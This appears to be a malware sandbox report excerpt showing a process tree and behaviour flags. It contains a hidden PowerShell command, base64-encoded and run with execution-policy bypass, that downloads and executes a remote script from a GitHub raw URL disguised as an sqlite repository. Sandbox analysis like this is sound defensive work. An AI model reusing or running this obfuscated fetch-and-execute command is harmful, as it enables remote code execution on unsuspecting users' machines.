C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1852
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4000
-
-